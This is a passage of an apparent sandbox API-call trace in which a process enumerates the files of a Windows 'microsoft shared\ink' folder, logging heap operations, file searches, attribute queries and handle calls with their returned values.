Size=0x80) returned 0x124caf0 [0087.119] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.119] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.119] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb548 [0087.119] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1302ce0 [0087.120] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.120] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0087.120] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.120] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.120] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.121] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.121] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.121] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb568 [0087.121] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1302de8 [0087.121] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.121] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcad4f4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcad4f4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0087.121] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.122] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.122] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.122] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.122] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.122] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb588 [0087.122] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1302ef0 [0087.123] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.123] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll.mui", cAlternateFileName="")) returned 1 [0087.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.123] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.124] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.124] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.124] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb5a8 [0087.124] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1302ff8 [0087.124] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.125] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0087.125] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.125] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.125] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.125] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.125] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.126] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb5c8 [0087.126] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1303100 [0087.126] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8180) returned 0x12ea380 [0087.126] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa550) returned 1 [0087.127] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.127] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0087.127] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.127] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.127] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.127] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.127] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.128] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb5e8 [0087.128] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1303208 [0087.128] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.128] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0087.128] GetLastError () returned 0x12 [0087.128] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0087.128] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0087.129] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa21b3607, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21b3607, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.129] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf9a66, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcf9a66, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0087.129] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0087.129] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1101e045, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0087.129] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0087.129] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcad4f4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcad4f4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0087.129] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll.mui", cAlternateFileName="")) returned 1 [0087.129] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0087.129] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0087.129] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0087.129] GetLastError () returned 0x12 [0087.129] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13028c0) returned 1 [0087.129] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.130] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13029c8) returned 1 [0087.130] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0087.130] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa060a95, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="")) returned 1 [0087.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0087.131] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.131] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13029c8 [0087.131] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HWRCustomization" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\hwrcustomization"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa060a95, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.131] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HWRCustomization" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\hwrcustomization"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0087.132] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0087.132] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1322698 [0087.132] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0087.132] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0087.132] NtClose (Handle=0x16c) returned 0x0 [0087.133] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13029c8) returned 1 [0087.133] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.133] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.133] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13029c8 [0087.133] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.133] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13028c0 [0087.134] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HWRCustomization\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0087.134] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa060a95, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.134] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa060a95, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.134] GetLastError () returned 0x12 [0087.134] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HWRCustomization\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9000 [0087.134] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.134] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa060a95, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.134] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa060a95, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.134] GetLastError () returned 0x12 [0087.134] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13028c0) returned 1 [0087.134] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0087.135] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.135] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13029c8) returned 1 [0087.135] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2aad17fd, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x2aad17fd, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x959f4c70, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x43200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0087.135] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56787bbf, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x56787bbf, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x959f4c70, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x159800, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0087.135] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67731975, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x67731975, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x96f16ef0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="journal.dll", cAlternateFileName="")) returned 1 [0087.135] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36a95f54, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x36a95f54, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x99e8b5f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x151e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0087.135] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfa822ba, ftCreationTime.dwHighDateTime=0x1ca040b, ftLastAccessTime.dwLowDateTime=0xcfa822ba, ftLastAccessTime.dwHighDateTime=0x1ca040b, ftLastWriteTime.dwLowDateTime=0xcc41afc5, ftLastWriteTime.dwHighDateTime=0x1ca0421, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0087.135] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb19b39d9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb19b39d9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1a25dfa, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x12a400, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0087.135] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d2644b3, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x2d2644b3, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x9b490940, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5fe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0087.135] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x475edf2f, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x475edf2f, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x9c6db320, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0087.135] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0734e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x53e0734e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x9c702420, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0087.135] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20326ec4, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x20326ec4, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xb95fefd0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="penchs.dll", cAlternateFileName="")) returned 1 [0087.135] FindNextFileW (in: hFindFile=0x2e91c0, 